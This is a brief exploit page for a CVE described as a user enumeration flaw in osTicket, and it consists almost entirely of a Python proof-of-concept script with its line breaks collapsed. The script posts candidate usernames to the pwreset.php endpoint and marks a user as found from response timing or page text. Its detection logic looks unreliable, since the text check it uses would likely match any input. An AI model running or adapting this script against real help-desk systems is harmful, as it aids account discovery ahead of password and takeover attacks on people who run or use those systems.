CVE-2026-26895 osTicket用户枚举漏洞

import requests import time def check_user(url, username): target_url = f"{url}/pwreset.php" data = { "email": username } start_time = time.time() try: response = requests.post(target_url, data=data) elapsed_time = time.time() - start_time # Analyze response time or content # Example: Valid user takes longer or returns specific text if elapsed_time > 0.5 or "If that email exists" in response.text: return True return False except Exception as e: print(f"Error: {e}") return False if __name__ == "__main__": target = "http://example-osticket.com" user_list = ["admin", "support", "test"] for user in user_list: if check_user(target, user): print(f"[+] User found: {user}") else: print(f"[-] User not found: {user}")